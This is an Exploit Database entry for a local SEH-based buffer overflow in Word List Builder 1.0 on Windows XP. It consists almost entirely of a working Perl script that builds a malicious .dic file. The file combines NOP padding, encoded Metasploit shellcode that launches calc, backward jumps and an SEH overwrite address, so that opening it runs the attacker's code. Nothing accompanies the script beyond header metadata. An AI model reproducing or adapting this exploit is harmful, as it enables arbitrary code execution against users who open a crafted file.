Word List Builder – Local Buffer Overflow (SEH)

• Exploit Database
• 8 阅读

• 作者： h1ch4m
  日期： 2011-04-01
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17086/

• # Exploit Title: Word List Builder Buffer Overflow Exploit(SEH)
  # Software Link: http://download.cnet.com/Word-List-Builder/3000-18541_4-10398336.html
  # Version: 1.0
  # triggering details : open .dic file
  # Tested on: Win XP SP3 French
  # Date: 31/03/2011
  # Author: h1ch4m (Hicham Oumounid)
  # Email: h1ch4m@live.fr
  # Home: http://net-effects.blogspot.com
  
  my $file = "exploit.dic";
  
  my $size = 4108;
  
  # windows/exec - 223 bytes
  # http://www.metasploit.com
  # Encoder: x86/shikata_ga_nai
  # EXITFUNC=seh, CMD=calc
  my $shellcode = "\xda\xdd\xbf\xb0\x1a\x64\x4f\xd9\x74\x24\xf4\x58\x31\xc9" .
  "\xb1\x32\x31\x78\x17\x83\xc0\x04\x03\xc8\x09\x86\xba\xd4" .
  "\xc6\xcf\x45\x24\x17\xb0\xcc\xc1\x26\xe2\xab\x82\x1b\x32" .
  "\xbf\xc6\x97\xb9\xed\xf2\x2c\xcf\x39\xf5\x85\x7a\x1c\x38" .
  "\x15\x4b\xa0\x96\xd5\xcd\x5c\xe4\x09\x2e\x5c\x27\x5c\x2f" .
  "\x99\x55\xaf\x7d\x72\x12\x02\x92\xf7\x66\x9f\x93\xd7\xed" .
  "\x9f\xeb\x52\x31\x6b\x46\x5c\x61\xc4\xdd\x16\x99\x6e\xb9" .
  "\x86\x98\xa3\xd9\xfb\xd3\xc8\x2a\x8f\xe2\x18\x63\x70\xd5" .
  "\x64\x28\x4f\xda\x68\x30\x97\xdc\x92\x47\xe3\x1f\x2e\x50" .
  "\x30\x62\xf4\xd5\xa5\xc4\x7f\x4d\x0e\xf5\xac\x08\xc5\xf9" .
  "\x19\x5e\x81\x1d\x9f\xb3\xb9\x19\x14\x32\x6e\xa8\x6e\x11" .
  "\xaa\xf1\x35\x38\xeb\x5f\x9b\x45\xeb\x07\x44\xe0\x67\xa5" .
  "\x91\x92\x25\xa3\x64\x16\x50\x8a\x67\x28\x5b\xbc\x0f\x19" .
  "\xd0\x53\x57\xa6\x33\x10\xa9\x57\x8e\x8c\x3e\xce\x7b\xed" .
  "\x22\xf1\x51\x31\x5b\x72\x50\xc9\x98\x6a\x11\xcc\xe5\x2c" .
  "\xc9\xbc\x76\xd9\xed\x13\x76\xc8\x8d\xf2\xe4\x90\x51";
  
  my $jump = "\xe9\x1c\xff\xff\xff"; # jump back 228 bytes 
  
  my $nseh = "\xeb\xf9\xff\xff"; # jump back 7 bytes 
  my $seh = pack('V', 0x00402AAF); # pop eax - pop edx - ret [word_builder.exe]
  
  my $junk = "\x90" x ($size-length($shellcode.$jump));
  
  open($FILE,">$file");
  print $FILE $junk.$shellcode.$jump.$nseh.$seh;
  close($FILE);
  print "Files Created successfully\n";
  sleep(1);